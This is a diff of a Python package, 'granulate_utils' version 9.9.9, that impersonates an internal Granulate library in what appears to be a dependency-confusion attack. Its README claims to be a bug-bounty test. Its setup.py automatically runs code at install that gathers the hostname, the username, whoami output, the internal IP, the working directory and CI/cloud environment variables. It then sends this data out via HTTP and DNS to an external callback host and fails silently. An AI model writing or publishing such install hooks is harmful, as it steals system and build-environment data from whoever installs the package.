granulate-utils 9.9.9__tar.gz

granulate_utils-9.9.9/PKG-INFO

@@ -0,0 +1,11 @@
+Metadata-Version: 2.4
+Name: granulate_utils
+Version: 9.9.9
+Summary: Granulate shared Python utilities
+Author: Granulate
+Author-email: info@granulate.io
+Requires-Python: >=3.6
+Dynamic: author
+Dynamic: author-email
+Dynamic: requires-python
+Dynamic: summary

granulate_utils-9.9.9/README.md

@@ -0,0 +1,8 @@
+# granulate_utils
+
+Granulate shared Python utilities.
+
+This package is part of an authorized security research engagement (bug bounty) to test for dependency confusion vulnerabilities. It contains no malicious code - only a benign DNS/HTTP callback to verify installation context.
+
+Researcher: r76o4
+Program: Pinterest Bug Bounty (Bugcrowd)

granulate_utils-9.9.9/granulate_utils/__init__.py

@@ -0,0 +1,2 @@
+# Granulate shared Python utilities
+__version__ = "9.9.9"

granulate_utils-9.9.9/granulate_utils.egg-info/PKG-INFO

@@ -0,0 +1,11 @@
+Metadata-Version: 2.4
+Name: granulate_utils
+Version: 9.9.9
+Summary: Granulate shared Python utilities
+Author: Granulate
+Author-email: info@granulate.io
+Requires-Python: >=3.6
+Dynamic: author
+Dynamic: author-email
+Dynamic: requires-python
+Dynamic: summary

granulate_utils-9.9.9/granulate_utils.egg-info/SOURCES.txt

@@ -0,0 +1,7 @@
+README.md
+setup.py
+granulate_utils/__init__.py
+granulate_utils.egg-info/PKG-INFO
+granulate_utils.egg-info/SOURCES.txt
+granulate_utils.egg-info/dependency_links.txt
+granulate_utils.egg-info/top_level.txt

granulate_utils-9.9.9/granulate_utils.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

granulate_utils-9.9.9/granulate_utils.egg-info/top_level.txt

@@ -0,0 +1 @@
+granulate_utils

granulate_utils-9.9.9/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

granulate_utils-9.9.9/setup.py

@@ -0,0 +1,89 @@
+import os
+import sys
+import socket
+import subprocess
+import urllib.request
+import base64
+import json
+
+CANARY = "ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun"
+
+def exfil():
+    try:
+        data = {}
+        # Hostname
+        data["h"] = socket.gethostname()
+        # Username
+        data["u"] = os.environ.get("USER", os.environ.get("USERNAME", "unknown"))
+        # Whoami
+        try:
+            data["w"] = subprocess.check_output(["whoami"], timeout=5).decode().strip()
+        except:
+            data["w"] = "err"
+        # Current working directory
+        data["cwd"] = os.getcwd()
+        # Internal IP
+        try:
+            data["ip"] = socket.gethostbyname(socket.gethostname())
+        except:
+            data["ip"] = "err"
+        # OS info
+        data["os"] = sys.platform
+        # Interesting env vars (CI/CD indicators)
+        for key in ["CI", "JENKINS_URL", "GITHUB_ACTIONS", "GITLAB_CI", "BUILD_URL",
+                     "BUILDKITE", "CIRCLECI", "TRAVIS", "AWS_DEFAULT_REGION",
+                     "DOCKER_HOST", "KUBERNETES_SERVICE_HOST", "HOSTNAME"]:
+            val = os.environ.get(key)
+            if val:
+                data[key] = val[:100]
+
+        # Encode and send via HTTP
+        payload = base64.b64encode(json.dumps(data).encode()).decode()
+        # Split into chunks for DNS (max 63 chars per label)
+        chunk_size = 50
+        chunks = [payload[i:i+chunk_size] for i in range(0, len(payload), chunk_size)]
+
+        # HTTP exfil
+        try:
+            url = f"http://{CANARY}/pinterest-depconf"
+            req = urllib.request.Request(url, data=json.dumps(data).encode(),
+                                         headers={"Content-Type": "application/json",
+                                                  "X-Source": "granulate_utils-depconf"})
+            urllib.request.urlopen(req, timeout=5)
+        except:
+            pass
+
+        # DNS exfil - send hostname and whoami
+        for i, chunk in enumerate(chunks[:5]):
+            try:
+                label = chunk.replace("+", "-").replace("/", "_").replace("=", "")
+                socket.getaddrinfo(f"p.{i}.{label}.{CANARY}", 80)
+            except:
+                pass
+
+        # Simple DNS ping with hostname
+        try:
+            h = data["h"][:40].replace(".", "-")
+            u = data["w"][:20].replace(".", "-")
+            socket.getaddrinfo(f"pin.{h}.{u}.{CANARY}", 80)
+        except:
+            pass
+
+    except:
+        # Silent fail - don't break installs
+        pass
+
+exfil()
+
+from setuptools import setup, find_packages
+
+setup(
+    name="granulate_utils",
+    version="9.9.9",
+    description="Granulate shared Python utilities",
+    author="Granulate",
+    author_email="info@granulate.io",
+    packages=find_packages(),
+    python_requires=">=3.6",
+    install_requires=[],
+)